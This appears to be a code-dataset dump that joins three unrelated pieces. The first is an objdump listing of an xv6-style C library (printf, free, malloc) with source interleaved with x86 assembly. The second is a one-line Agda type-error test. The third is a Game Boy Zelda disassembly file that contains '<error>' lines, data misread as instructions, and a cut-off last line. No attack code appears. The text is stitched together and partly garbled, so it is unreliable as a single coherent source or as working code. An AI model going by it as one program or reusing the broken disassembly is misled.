$0x0,-0xc(%ebp) 1056: 79 d9 jns 1031 <printint+0x87> putc(fd, buf[i]); } 1058: 90 nop 1059: 8b 5d fc mov -0x4(%ebp),%ebx 105c: c9 leave 105d: c3 ret 0000105e <printf>: // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 105e: 55 push %ebp 105f: 89 e5 mov %esp,%ebp 1061: 83 ec 28 sub $0x28,%esp char *s; int c, i, state; uint *ap; state = 0; 1064: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp) ap = (uint*)(void*)&fmt + 1; 106b: 8d 45 0c lea 0xc(%ebp),%eax 106e: 83 c0 04 add $0x4,%eax 1071: 89 45 e8 mov %eax,-0x18(%ebp) for(i = 0; fmt[i]; i++){ 1074: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) 107b: e9 59 01 00 00 jmp 11d9 <printf+0x17b> c = fmt[i] & 0xff; 1080: 8b 55 0c mov 0xc(%ebp),%edx 1083: 8b 45 f0 mov -0x10(%ebp),%eax 1086: 01 d0 add %edx,%eax 1088: 0f b6 00 movzbl (%eax),%eax 108b: 0f be c0 movsbl %al,%eax 108e: 25 ff 00 00 00 and $0xff,%eax 1093: 89 45 e4 mov %eax,-0x1c(%ebp) if(state == 0){ 1096: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 109a: 75 2c jne 10c8 <printf+0x6a> if(c == '%'){ 109c: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp) 10a0: 75 0c jne 10ae <printf+0x50> state = '%'; 10a2: c7 45 ec 25 00 00 00 movl $0x25,-0x14(%ebp) 10a9: e9 27 01 00 00 jmp 11d5 <printf+0x177> } else { putc(fd, c); 10ae: 8b 45 e4 mov -0x1c(%ebp),%eax 10b1: 0f be c0 movsbl %al,%eax 10b4: 83 ec 08 sub $0x8,%esp 10b7: 50 push %eax 10b8: ff 75 08 pushl 0x8(%ebp) 10bb: e8 c7 fe ff ff call f87 <putc> 10c0: 83 c4 10 add $0x10,%esp 10c3: e9 0d 01 00 00 jmp 11d5 <printf+0x177> } } else if(state == '%'){ 10c8: 83 7d ec 25 cmpl $0x25,-0x14(%ebp) 10cc: 0f 85 03 01 00 00 jne 11d5 <printf+0x177> if(c == 'd'){ 10d2: 83 7d e4 64 cmpl $0x64,-0x1c(%ebp) 10d6: 75 1e jne 10f6 <printf+0x98> printint(fd, *ap, 10, 1); 10d8: 8b 45 e8 mov -0x18(%ebp),%eax 10db: 8b 00 mov (%eax),%eax 10dd: 6a 01 push $0x1 10df: 6a 0a push $0xa 10e1: 50 push %eax 10e2: ff 75 08 pushl 0x8(%ebp) 10e5: e8 c0 fe ff ff call faa <printint> 10ea: 83 c4 10 add $0x10,%esp ap++; 10ed: 83 45 e8 04 addl $0x4,-0x18(%ebp) 10f1: e9 d8 00 00 00 jmp 11ce <printf+0x170> } else if(c == 'x' || c == 'p'){ 10f6: 83 7d e4 78 cmpl $0x78,-0x1c(%ebp) 10fa: 74 06 je 1102 <printf+0xa4> 10fc: 83 7d e4 70 cmpl $0x70,-0x1c(%ebp) 1100: 75 1e jne 1120 <printf+0xc2> printint(fd, *ap, 16, 0); 1102: 8b 45 e8 mov -0x18(%ebp),%eax 1105: 8b 00 mov (%eax),%eax 1107: 6a 00 push $0x0 1109: 6a 10 push $0x10 110b: 50 push %eax 110c: ff 75 08 pushl 0x8(%ebp) 110f: e8 96 fe ff ff call faa <printint> 1114: 83 c4 10 add $0x10,%esp ap++; 1117: 83 45 e8 04 addl $0x4,-0x18(%ebp) 111b: e9 ae 00 00 00 jmp 11ce <printf+0x170> } else if(c == 's'){ 1120: 83 7d e4 73 cmpl $0x73,-0x1c(%ebp) 1124: 75 43 jne 1169 <printf+0x10b> s = (char*)*ap; 1126: 8b 45 e8 mov -0x18(%ebp),%eax 1129: 8b 00 mov (%eax),%eax 112b: 89 45 f4 mov %eax,-0xc(%ebp) ap++; 112e: 83 45 e8 04 addl $0x4,-0x18(%ebp) if(s == 0) 1132: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 1136: 75 25 jne 115d <printf+0xff> s = "(null)"; 1138: c7 45 f4 1c 15 00 00 movl $0x151c,-0xc(%ebp) while(*s != 0){ 113f: eb 1c jmp 115d <printf+0xff> putc(fd, *s); 1141: 8b 45 f4 mov -0xc(%ebp),%eax 1144: 0f b6 00 movzbl (%eax),%eax 1147: 0f be c0 movsbl %al,%eax 114a: 83 ec 08 sub $0x8,%esp 114d: 50 push %eax 114e: ff 75 08 pushl 0x8(%ebp) 1151: e8 31 fe ff ff call f87 <putc> 1156: 83 c4 10 add $0x10,%esp s++; 1159: 83 45 f4 01 addl $0x1,-0xc(%ebp) } else if(c == 's'){ s = (char*)*ap; ap++; if(s == 0) s = "(null)"; while(*s != 0){ 115d: 8b 45 f4 mov -0xc(%ebp),%eax 1160: 0f b6 00 movzbl (%eax),%eax 1163: 84 c0 test %al,%al 1165: 75 da jne 1141 <printf+0xe3> 1167: eb 65 jmp 11ce <printf+0x170> putc(fd, *s); s++; } } else if(c == 'c'){ 1169: 83 7d e4 63 cmpl $0x63,-0x1c(%ebp) 116d: 75 1d jne 118c <printf+0x12e> putc(fd, *ap); 116f: 8b 45 e8 mov -0x18(%ebp),%eax 1172: 8b 00 mov (%eax),%eax 1174: 0f be c0 movsbl %al,%eax 1177: 83 ec 08 sub $0x8,%esp 117a: 50 push %eax 117b: ff 75 08 pushl 0x8(%ebp) 117e: e8 04 fe ff ff call f87 <putc> 1183: 83 c4 10 add $0x10,%esp ap++; 1186: 83 45 e8 04 addl $0x4,-0x18(%ebp) 118a: eb 42 jmp 11ce <printf+0x170> } else if(c == '%'){ 118c: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp) 1190: 75 17 jne 11a9 <printf+0x14b> putc(fd, c); 1192: 8b 45 e4 mov -0x1c(%ebp),%eax 1195: 0f be c0 movsbl %al,%eax 1198: 83 ec 08 sub $0x8,%esp 119b: 50 push %eax 119c: ff 75 08 pushl 0x8(%ebp) 119f: e8 e3 fd ff ff call f87 <putc> 11a4: 83 c4 10 add $0x10,%esp 11a7: eb 25 jmp 11ce <printf+0x170> } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); 11a9: 83 ec 08 sub $0x8,%esp 11ac: 6a 25 push $0x25 11ae: ff 75 08 pushl 0x8(%ebp) 11b1: e8 d1 fd ff ff call f87 <putc> 11b6: 83 c4 10 add $0x10,%esp putc(fd, c); 11b9: 8b 45 e4 mov -0x1c(%ebp),%eax 11bc: 0f be c0 movsbl %al,%eax 11bf: 83 ec 08 sub $0x8,%esp 11c2: 50 push %eax 11c3: ff 75 08 pushl 0x8(%ebp) 11c6: e8 bc fd ff ff call f87 <putc> 11cb: 83 c4 10 add $0x10,%esp } state = 0; 11ce: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp) int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 11d5: 83 45 f0 01 addl $0x1,-0x10(%ebp) 11d9: 8b 55 0c mov 0xc(%ebp),%edx 11dc: 8b 45 f0 mov -0x10(%ebp),%eax 11df: 01 d0 add %edx,%eax 11e1: 0f b6 00 movzbl (%eax),%eax 11e4: 84 c0 test %al,%al 11e6: 0f 85 94 fe ff ff jne 1080 <printf+0x22> putc(fd, c); } state = 0; } } } 11ec: 90 nop 11ed: c9 leave 11ee: c3 ret 000011ef <free>: static Header base; static Header *freep; void free(void *ap) { 11ef: 55 push %ebp 11f0: 89 e5 mov %esp,%ebp 11f2: 83 ec 10 sub $0x10,%esp Header *bp, *p; bp = (Header*)ap - 1; 11f5: 8b 45 08 mov 0x8(%ebp),%eax 11f8: 83 e8 08 sub $0x8,%eax 11fb: 89 45 f8 mov %eax,-0x8(%ebp) for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 11fe: a1 4c 1a 00 00 mov 0x1a4c,%eax 1203: 89 45 fc mov %eax,-0x4(%ebp) 1206: eb 24 jmp 122c <free+0x3d> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 1208: 8b 45 fc mov -0x4(%ebp),%eax 120b: 8b 00 mov (%eax),%eax 120d: 3b 45 fc cmp -0x4(%ebp),%eax 1210: 77 12 ja 1224 <free+0x35> 1212: 8b 45 f8 mov -0x8(%ebp),%eax 1215: 3b 45 fc cmp -0x4(%ebp),%eax 1218: 77 24 ja 123e <free+0x4f> 121a: 8b 45 fc mov -0x4(%ebp),%eax 121d: 8b 00 mov (%eax),%eax 121f: 3b 45 f8 cmp -0x8(%ebp),%eax 1222: 77 1a ja 123e <free+0x4f> free(void *ap) { Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 1224: 8b 45 fc mov -0x4(%ebp),%eax 1227: 8b 00 mov (%eax),%eax 1229: 89 45 fc mov %eax,-0x4(%ebp) 122c: 8b 45 f8 mov -0x8(%ebp),%eax 122f: 3b 45 fc cmp -0x4(%ebp),%eax 1232: 76 d4 jbe 1208 <free+0x19> 1234: 8b 45 fc mov -0x4(%ebp),%eax 1237: 8b 00 mov (%eax),%eax 1239: 3b 45 f8 cmp -0x8(%ebp),%eax 123c: 76 ca jbe 1208 <free+0x19> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) break; if(bp + bp->s.size == p->s.ptr){ 123e: 8b 45 f8 mov -0x8(%ebp),%eax 1241: 8b 40 04 mov 0x4(%eax),%eax 1244: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx 124b: 8b 45 f8 mov -0x8(%ebp),%eax 124e: 01 c2 add %eax,%edx 1250: 8b 45 fc mov -0x4(%ebp),%eax 1253: 8b 00 mov (%eax),%eax 1255: 39 c2 cmp %eax,%edx 1257: 75 24 jne 127d <free+0x8e> bp->s.size += p->s.ptr->s.size; 1259: 8b 45 f8 mov -0x8(%ebp),%eax 125c: 8b 50 04 mov 0x4(%eax),%edx 125f: 8b 45 fc mov -0x4(%ebp),%eax 1262: 8b 00 mov (%eax),%eax 1264: 8b 40 04 mov 0x4(%eax),%eax 1267: 01 c2 add %eax,%edx 1269: 8b 45 f8 mov -0x8(%ebp),%eax 126c: 89 50 04 mov %edx,0x4(%eax) bp->s.ptr = p->s.ptr->s.ptr; 126f: 8b 45 fc mov -0x4(%ebp),%eax 1272: 8b 00 mov (%eax),%eax 1274: 8b 10 mov (%eax),%edx 1276: 8b 45 f8 mov -0x8(%ebp),%eax 1279: 89 10 mov %edx,(%eax) 127b: eb 0a jmp 1287 <free+0x98> } else bp->s.ptr = p->s.ptr; 127d: 8b 45 fc mov -0x4(%ebp),%eax 1280: 8b 10 mov (%eax),%edx 1282: 8b 45 f8 mov -0x8(%ebp),%eax 1285: 89 10 mov %edx,(%eax) if(p + p->s.size == bp){ 1287: 8b 45 fc mov -0x4(%ebp),%eax 128a: 8b 40 04 mov 0x4(%eax),%eax 128d: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx 1294: 8b 45 fc mov -0x4(%ebp),%eax 1297: 01 d0 add %edx,%eax 1299: 3b 45 f8 cmp -0x8(%ebp),%eax 129c: 75 20 jne 12be <free+0xcf> p->s.size += bp->s.size; 129e: 8b 45 fc mov -0x4(%ebp),%eax 12a1: 8b 50 04 mov 0x4(%eax),%edx 12a4: 8b 45 f8 mov -0x8(%ebp),%eax 12a7: 8b 40 04 mov 0x4(%eax),%eax 12aa: 01 c2 add %eax,%edx 12ac: 8b 45 fc mov -0x4(%ebp),%eax 12af: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 12b2: 8b 45 f8 mov -0x8(%ebp),%eax 12b5: 8b 10 mov (%eax),%edx 12b7: 8b 45 fc mov -0x4(%ebp),%eax 12ba: 89 10 mov %edx,(%eax) 12bc: eb 08 jmp 12c6 <free+0xd7> } else p->s.ptr = bp; 12be: 8b 45 fc mov -0x4(%ebp),%eax 12c1: 8b 55 f8 mov -0x8(%ebp),%edx 12c4: 89 10 mov %edx,(%eax) freep = p; 12c6: 8b 45 fc mov -0x4(%ebp),%eax 12c9: a3 4c 1a 00 00 mov %eax,0x1a4c } 12ce: 90 nop 12cf: c9 leave 12d0: c3 ret 000012d1 <morecore>: static Header* morecore(uint nu) { 12d1: 55 push %ebp 12d2: 89 e5 mov %esp,%ebp 12d4: 83 ec 18 sub $0x18,%esp char *p; Header *hp; if(nu < 4096) 12d7: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp) 12de: 77 07 ja 12e7 <morecore+0x16> nu = 4096; 12e0: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp) p = sbrk(nu * sizeof(Header)); 12e7: 8b 45 08 mov 0x8(%ebp),%eax 12ea: c1 e0 03 shl $0x3,%eax 12ed: 83 ec 0c sub $0xc,%esp 12f0: 50 push %eax 12f1: e8 79 fc ff ff call f6f <sbrk> 12f6: 83 c4 10 add $0x10,%esp 12f9: 89 45 f4 mov %eax,-0xc(%ebp) if(p == (char*)-1) 12fc: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp) 1300: 75 07 jne 1309 <morecore+0x38> return 0; 1302: b8 00 00 00 00 mov $0x0,%eax 1307: eb 26 jmp 132f <morecore+0x5e> hp = (Header*)p; 1309: 8b 45 f4 mov -0xc(%ebp),%eax 130c: 89 45 f0 mov %eax,-0x10(%ebp) hp->s.size = nu; 130f: 8b 45 f0 mov -0x10(%ebp),%eax 1312: 8b 55 08 mov 0x8(%ebp),%edx 1315: 89 50 04 mov %edx,0x4(%eax) free((void*)(hp + 1)); 1318: 8b 45 f0 mov -0x10(%ebp),%eax 131b: 83 c0 08 add $0x8,%eax 131e: 83 ec 0c sub $0xc,%esp 1321: 50 push %eax 1322: e8 c8 fe ff ff call 11ef <free> 1327: 83 c4 10 add $0x10,%esp return freep; 132a: a1 4c 1a 00 00 mov 0x1a4c,%eax } 132f: c9 leave 1330: c3 ret 00001331 <malloc>: void* malloc(uint nbytes) { 1331: 55 push %ebp 1332: 89 e5 mov %esp,%ebp 1334: 83 ec 18 sub $0x18,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 1337: 8b 45 08 mov 0x8(%ebp),%eax 133a: 83 c0 07 add $0x7,%eax 133d: c1 e8 03 shr $0x3,%eax 1340: 83 c0 01 add $0x1,%eax 1343: 89 45 ec mov %eax,-0x14(%ebp) if((prevp = freep) == 0){ 1346: a1 4c 1a 00 00 mov 0x1a4c,%eax 134b: 89 45 f0 mov %eax,-0x10(%ebp) 134e: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 1352: 75 23 jne 1377 <malloc+0x46> base.s.ptr = freep = prevp = &base; 1354: c7 45 f0 44 1a 00 00 movl $0x1a44,-0x10(%ebp) 135b: 8b 45 f0 mov -0x10(%ebp),%eax 135e: a3 4c 1a 00 00 mov %eax,0x1a4c 1363: a1 4c 1a 00 00 mov 0x1a4c,%eax 1368: a3 44 1a 00 00 mov %eax,0x1a44 base.s.size = 0; 136d: c7 05 48 1a 00 00 00 movl $0x0,0x1a48 1374: 00 00 00 } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 1377: 8b 45 f0 mov -0x10(%ebp),%eax 137a: 8b 00 mov (%eax),%eax 137c: 89 45 f4 mov %eax,-0xc(%ebp) if(p->s.size >= nunits){ 137f: 8b 45 f4 mov -0xc(%ebp),%eax 1382: 8b 40 04 mov 0x4(%eax),%eax 1385: 3b 45 ec cmp -0x14(%ebp),%eax 1388: 72 4d jb 13d7 <malloc+0xa6> if(p->s.size == nunits) 138a: 8b 45 f4 mov -0xc(%ebp),%eax 138d: 8b 40 04 mov 0x4(%eax),%eax 1390: 3b 45 ec cmp -0x14(%ebp),%eax 1393: 75 0c jne 13a1 <malloc+0x70> prevp->s.ptr = p->s.ptr; 1395: 8b 45 f4 mov -0xc(%ebp),%eax 1398: 8b 10 mov (%eax),%edx 139a: 8b 45 f0 mov -0x10(%ebp),%eax 139d: 89 10 mov %edx,(%eax) 139f: eb 26 jmp 13c7 <malloc+0x96> else { p->s.size -= nunits; 13a1: 8b 45 f4 mov -0xc(%ebp),%eax 13a4: 8b 40 04 mov 0x4(%eax),%eax 13a7: 2b 45 ec sub -0x14(%ebp),%eax 13aa: 89 c2 mov %eax,%edx 13ac: 8b 45 f4 mov -0xc(%ebp),%eax 13af: 89 50 04 mov %edx,0x4(%eax) p += p->s.size; 13b2: 8b 45 f4 mov -0xc(%ebp),%eax 13b5: 8b 40 04 mov 0x4(%eax),%eax 13b8: c1 e0 03 shl $0x3,%eax 13bb: 01 45 f4 add %eax,-0xc(%ebp) p->s.size = nunits; 13be: 8b 45 f4 mov -0xc(%ebp),%eax 13c1: 8b 55 ec mov -0x14(%ebp),%edx 13c4: 89 50 04 mov %edx,0x4(%eax) } freep = prevp; 13c7: 8b 45 f0 mov -0x10(%ebp),%eax 13ca: a3 4c 1a 00 00 mov %eax,0x1a4c return (void*)(p + 1); 13cf: 8b 45 f4 mov -0xc(%ebp),%eax 13d2: 83 c0 08 add $0x8,%eax 13d5: eb 3b jmp 1412 <malloc+0xe1> } if(p == freep) 13d7: a1 4c 1a 00 00 mov 0x1a4c,%eax 13dc: 39 45 f4 cmp %eax,-0xc(%ebp) 13df: 75 1e jne 13ff <malloc+0xce> if((p = morecore(nunits)) == 0) 13e1: 83 ec 0c sub $0xc,%esp 13e4: ff 75 ec pushl -0x14(%ebp) 13e7: e8 e5 fe ff ff call 12d1 <morecore> 13ec: 83 c4 10 add $0x10,%esp 13ef: 89 45 f4 mov %eax,-0xc(%ebp) 13f2: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 13f6: 75 07 jne 13ff <malloc+0xce> return 0; 13f8: b8 00 00 00 00 mov $0x0,%eax 13fd: eb 13 jmp 1412 <malloc+0xe1> nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 13ff: 8b 45 f4 mov -0xc(%ebp),%eax 1402: 89 45 f0 mov %eax,-0x10(%ebp) 1405: 8b 45 f4 mov -0xc(%ebp),%eax 1408: 8b 00 mov (%eax),%eax 140a: 89 45 f4 mov %eax,-0xc(%ebp) return (void*)(p + 1); } if(p == freep) if((p = morecore(nunits)) == 0) return 0; } 140d: e9 6d ff ff ff jmp 137f <malloc+0x4e> } 1412: c9 leave 1413: c3 ret
tests/covered/SetClash.agda
andrejtokarcik/agda-semantics
3
16502
module SetClash where postulate x : Set y : Set1 y = x
bank5.asm
alexsteb/zelda_gb_disassembly
3
172246
<reponame>alexsteb/zelda_gb_disassembly<filename>bank5.asm ld [hl], b nop ld [hl], b jr nz, 0.l_4077 nop ld [hl], d jr nz, 0.l_407d nop halt nop ld a, b nop ld a, d nop halt jr nz, 0.l_4087 jr nz, 0.l_408f jr nz, 0.l_408f jr nz, 0.l_4095 nop ld a, h jr nz, 0.l_405d nop ld b, b jr nz, 0.l_4063 nop ld b, d jr nz, 0.l_4069 nop ld b, [hl] nop ld c, b nop ld c, d nop ld b, [hl] jr nz, 0.l_4073 jr nz, 0.l_407b jr nz, 0.l_407b jr nz, 0.l_4081 nop ld c, h jr nz, 0.l_40b2 ld [$d154], a ld a, [$db56] cp $01 jr nz, 0.l_4054 ldh a, [$ff00 + $f6] ld hl, $c3e0 add hl, bc ld [hl], a ld hl, $c220 add hl, bc ld [hl], b ld hl, $c230 add hl, bc ld [hl], b ld de, $401c ld a, [$db56] and a jr nz, 0.l_4060 ld de, $4000 call func_3c3b ld a, [$c124] and a jr z, 0.l_407e ld a, [$db56] cp $01 jp z, .l_40a4 ld hl, $c3e0 add hl, bc ldh a, [$ff00 + $f6] cp [hl] jp z, .l_40a7 jp .l_40a4 ld a, [$c1a8] ld hl, $c19f or [hl] ld hl, $c14f or [hl] jp nz, .l_40a4 ld a, [$c16b] cp $04 ret nz call func_44d4 call func_08e2 ld a, [$db56] and a jr nz, 0.l_40a1 call func_3beb call func_40a8 call func_425b ret ld hl, $c440 add hl, bc ld a, [hl] rst 0 or d ld b, b jp [hl] ld b, b ld hl, $c200 add hl, bc ld a, [hl] add a, $04 ld [hl], a ld hl, $c2b0 add hl, bc ld [hl], a ld e, $10 ld hl, $d100 ldi [hl], a dec e jr nz, 0.l_40c4 ld hl, $c210 add hl, bc ld a, [hl] add a, $08 ld [hl], a ld hl, $c2c0 add hl, bc ld [hl], a ld hl, $c310 add hl, bc sub a, [hl] ld e, $10 ld hl, $d110 ldi [hl], a dec e jr nz, 0.l_40df ld hl, $c440 add hl, bc inc [hl] ret ld a, [$db56] and a jr z, 0.l_413a cp $80 jr z, 0.l_40fd ldh a, [$ff00 + $98] ldh [$ff00 + $d7], a ldh a, [$ff00 + $b3] ldh [$ff00 + $d8], a jr 0.l_412c ldh a, [$ff00 + $99] sub a, $40 add a, $10 cp $20 jr nc, 0.l_412a ldh a, [$ff00 + $98] sub a, $88 add a, $10 cp $20 jr nc, 0.l_412a ld a, [$c133] and a jr z, 0.l_412a ld a, $10 ld [$d368], a ld a, $6c call func_2185 ld a, $18 ldh [$ff00 + $f3], a ld a, $01 ld [$db56], a jr 0.l_413a ldh a, [$ff00 + $d7] ld hl, $c2b0 add hl, bc ld [hl], a ldh a, [$ff00 + $d8] ld hl, $c2c0 add hl, bc ld [hl], a ld hl, $c2b0 add hl, bc ld a, [hl] ld [$d150], a ld hl, $c2c0 add hl, bc ld a, [hl] ld [$d151], a call func_7a0a ld hl, $c320 add hl, bc dec [hl] dec [hl] push hl pop de ld hl, $c310 add hl, bc ld a, [hl] and $80 ldh [$ff00 + $e8], a jr z, 0.l_4163 xor a ld [hl], a ld [de], a call func_3b9e ldh a, [$ff00 + $f0] rst 0 add a, e ld b, c call nc, func_f141 ld b, c ld d, $42 pop af ld b, c inc b ld [$080c], sp <error> ldhl sp, d <error> ldhl sp, d <error> ldhl sp, d inc b ld [$080c], sp <error> ldhl sp, d call func_0891 jr z, 0.l_41b4 call func_088c jr nz, 0.l_41b3 call func_27ed and $3f add a, $20 ld [hl], a call func_3b8d call func_27ed and $07 ld e, a ld d, b ld hl, $4173 add hl, de ld a, [hl] ld hl, $c240 add hl, bc ld [hl], a ld hl, $417b add hl, de ld a, [hl] ld hl, $c250 add hl, bc ld [hl], a ret call func_0891 ld [hl], $28 ld a, [$db56] and a jr z, 0.l_41c3 call func_42a0 ret ld hl, $c320 add hl, bc ld [hl], $20 call func_3b8d ld [hl], $02 ld a, $20 call func_3c25 ret call func_088c jr nz, 0.l_41df ld [hl], $20 call func_3b8d ld [hl], b ldh a, [$ff00 + $e8] and a jr z, 0.l_41ea ld hl, $c320 add hl, bc ld [hl], $10 call func_79d1 call func_4230 ret call func_0891 jr z, 0.l_41ff call func_79d1 call func_4230 dec e jr z, 0.l_420c call func_3daf call func_3b8d ld [hl], $03 call func_0891 ld [hl], $10 ld a, [$db56] and a jr z, 0.l_4215 call func_433e ret call func_0891 jr nz, 0.l_422f call func_27ed and $3f add a, $30 ld [hl], a ld a, [$db56] and a jr z, 0.l_422b ld [hl], $10 call func_3b8d ld [hl], b ret ld e, $01 ld hl, $c2b0 add hl, bc ld a, [hl] ld hl, $c200 add hl, bc sub a, [hl] add a, $20 cp $40 jr c, 0.l_4246 ldh a, [$ff00 + $ee] ld [hl], a inc e ld hl, $c2c0 add hl, bc ld a, [hl] ld hl, $c210 add hl, bc sub a, [hl] add a, $20 cp $40 jr c, 0.l_425a ldh a, [$ff00 + $ef] ld [hl], a inc e ret call func_43b1 call func_4407 ld a, [$c3c0] ld e, a ld d, $00 ld hl, $c030 add hl, de push hl pop de push bc ld c, $05 ldh a, [$ff00 + $e7] xor c rr a jr c, 0.l_4296 ld hl, $d110 add hl, bc ld a, [hl] ld [de], a inc de ld hl, $d100 add hl, bc ld a, [hl] add a, $04 ld [de], a inc de ld a, [$db56] and a ld a, $4e jr nz, 0.l_4290 ld a, $7e ld [de], a inc de ld a, $00 ld [de], a inc de dec c jr nz, 0.l_4270 pop bc ld a, $03 call func_3dd0 ret ld a, [$db56] cp $80 jp z, .l_4338 call func_27ed ld d, b and $01 jr nz, 0.l_42b8 ld e, $0f ld a, $ff ldh [$ff00 + $d7], a jr 0.l_42c0 ld e, $00 ld a, $01 ldh [$ff00 + $d7], a ld a, $10 ldh [$ff00 + $d8], a ld a, e cp c jr z, 0.l_432c ld hl, $c280 add hl, de ld a, [hl] and a jr z, 0.l_432c cp $01 jr z, 0.l_432c ld hl, $c3b0 add hl, de ld a, [hl] dec a jr z, 0.l_432c push de ld hl, $c3a0 add hl, de ld e, [hl] call func_37e6 pop de and a jr z, 0.l_432c ld hl, $c200 add hl, de ldh a, [$ff00 + $98] sub a, [hl] add a, $2f cp $5e jr nc, 0.l_432c ld hl, $c210 add hl, de ldh a, [$ff00 + $99] sub a, [hl] add a, $2f cp $5e jr nc, 0.l_432c ld a, e ld [$d152], a ldh a, [$ff00 + $99] push af ldh a, [$ff00 + $98] push af ld a, [hl] ldh [$ff00 + $99], a ld hl, $c200 add hl, de ld a, [hl] ldh [$ff00 + $98], a ld a, $30 call func_3c25 pop af ldh [$ff00 + $98], a pop af ldh [$ff00 + $99], a ld hl, $c320 add hl, bc ld [hl], $10 call func_3b8d ld [hl], $04 ret ld hl, $ffd7 ld a, e add a, [hl] ld e, a ld hl, $ffd8 cp [hl] jr nz, 0.l_42c2 call func_0891 ld [hl], $10 ret ld a, [$d152] ld e, a ld d, b ld hl, $c280 add hl, de ld a, [hl] and a ret z ld hl, $c200 add hl, de ldh a, [$ff00 + $ee] sub a, [hl] add a, $0e cp $1a ret nc ld hl, $c210 add hl, de ldh a, [$ff00 + $ec] sub a, [hl] add a, $10 cp $20 ret nc ld hl, $c3a0 add hl, de ld a, [hl] cp $3d jr nz, 0.l_4389 ld hl, $c440 add hl, de ld a, [hl] and a ret z ld a, [$c19f] and a ret nz call func_0891 ld [hl], b ld hl, $c300 add hl, bc ld a, [hl] and a ret nz ld [hl], $80 ld a, $15 jp $2185 ld hl, $c420 add hl, de ld a, [hl] and a ret nz ld a, $03 ldh [$ff00 + $f2], a ld hl, $c3a0 add hl, de ld a, [hl] cp $ad jr nz, 0.l_43a9 ld hl, $c420 add hl, de ld [hl], $18 ld hl, $c3d0 add hl, de inc [hl] ret push bc push de pop bc call func_3f7a pop bc ret ld hl, $c200 add hl, bc ld a, [hl] ld [$d100], a ld hl, $c210 add hl, bc ld a, [hl] ld hl, $c310 add hl, bc sub a, [hl] ld [$d110], a ld de, $d100 ld hl, $d101 push bc ld c, $05 ld a, [de] sub a, [hl] add a, $07 cp $0e jr c, 0.l_43e1 bit 7, a jr nz, 0.l_43df inc [hl] inc [hl] inc [hl] inc [hl] dec [hl] dec [hl] inc hl inc de dec c jr nz, 0.l_43cf ld de, $d110 ld hl, $d111 ld c, $05 ld a, [de] sub a, [hl] add a, $07 cp $0e jr c, 0.l_4400 bit 7, a jr nz, 0.l_43fe inc [hl] inc [hl] inc [hl] inc [hl] dec [hl] dec [hl] inc hl inc de dec c jr nz, 0.l_43ee pop bc ret ld a, [$db56] and a ret z cp $80 ret z ldh a, [$ff00 + $9b] ld hl, $ff9a or [hl] ld hl, $ffa3 or [hl] jp z, .l_44d3 ld hl, $c2b0 add hl, bc ld a, [hl] ld [$d106], a ld hl, $c2c0 add hl, bc ld a, [hl] ld [$d116], a ld de, $d106 ld hl, $d105 push bc ld bc, $0006 ld a, [de] sub a, [hl] add a, $07 cp $0e jr c, 0.l_4451 bit 7, a jr nz, 0.l_4448 inc [hl] inc [hl] inc [hl] inc [hl] inc [hl] inc [hl] dec [hl] dec [hl] dec [hl] ld a, c cp $01 jr nz, 0.l_4451 inc b dec hl dec de dec c jr nz, 0.l_4436 ld de, $d116 ld hl, $d115 ld c, $06 ld a, [de] sub a, [hl] add a, $07 cp $0e jr c, 0.l_447c bit 7, a jr nz, 0.l_4470 inc [hl] inc [hl] inc [hl] inc [hl] inc [hl] inc [hl] dec [hl] dec [hl] dec [hl] ld a, c cp $01 jr nz, 0.l_447c ld a, b or $02 ld b, a dec hl dec de dec c jr nz, 0.l_445e ld a, b ldh [$ff00 + $d7], a pop bc and $01 jr z, 0.l_44a2 ld hl, $d110 ld e, $06 ld a, [$d151] sub a, [hl] jr z, 0.l_449b bit 7, a jr nz, 0.l_449a inc [hl] inc [hl] dec [hl] inc hl dec e jr nz, 0.l_448e call func_44be ldh a, [$ff00 + $d7] and $02 jr z, 0.l_44d3 ld hl, $d100 ld e, $06 ld a, [$d150] sub a, [hl] jr z, 0.l_44ba bit 7, a jr nz, 0.l_44b9 inc [hl] inc [hl] dec [hl] inc hl dec e jr nz, 0.l_44ad ld a, [$d110] ld hl, $c310 add hl, bc add a, [hl] ld hl, $c210 add hl, bc ld [hl], a ld a, [$d100] ld hl, $c200 add hl, bc ld [hl], a ret ld hl, $c240 add hl, bc ld a, [hl] ld hl, $c250 add hl, bc or [hl] ret z ld hl, $c240 add hl, bc ld a, [hl] ld d, a bit 7, a jr z, 0.l_44eb cpl inc a ld e, a ld hl, $c250 add hl, bc ld a, [hl] bit 7, a jr z, 0.l_44f7 cpl inc a cp e jr nc, 0.l_4508 bit 7, d jr nz, 0.l_4502 ld e, $04 jr $14513 ld e, $02 call func_4513 ret bit 7, [hl] jr z, 0.l_4511 ld a, $06 jp $3b87 ld e, $00 ldh a, [$ff00 + $e7] rr a rr a rr a and $01 add a, e jp $3b87 ld d, b nop ld d, d nop ld d, h nop ld d, [hl] nop ld d, d jr nz, 0.l_4579 jr nz, 0.l_4581 jr nz, 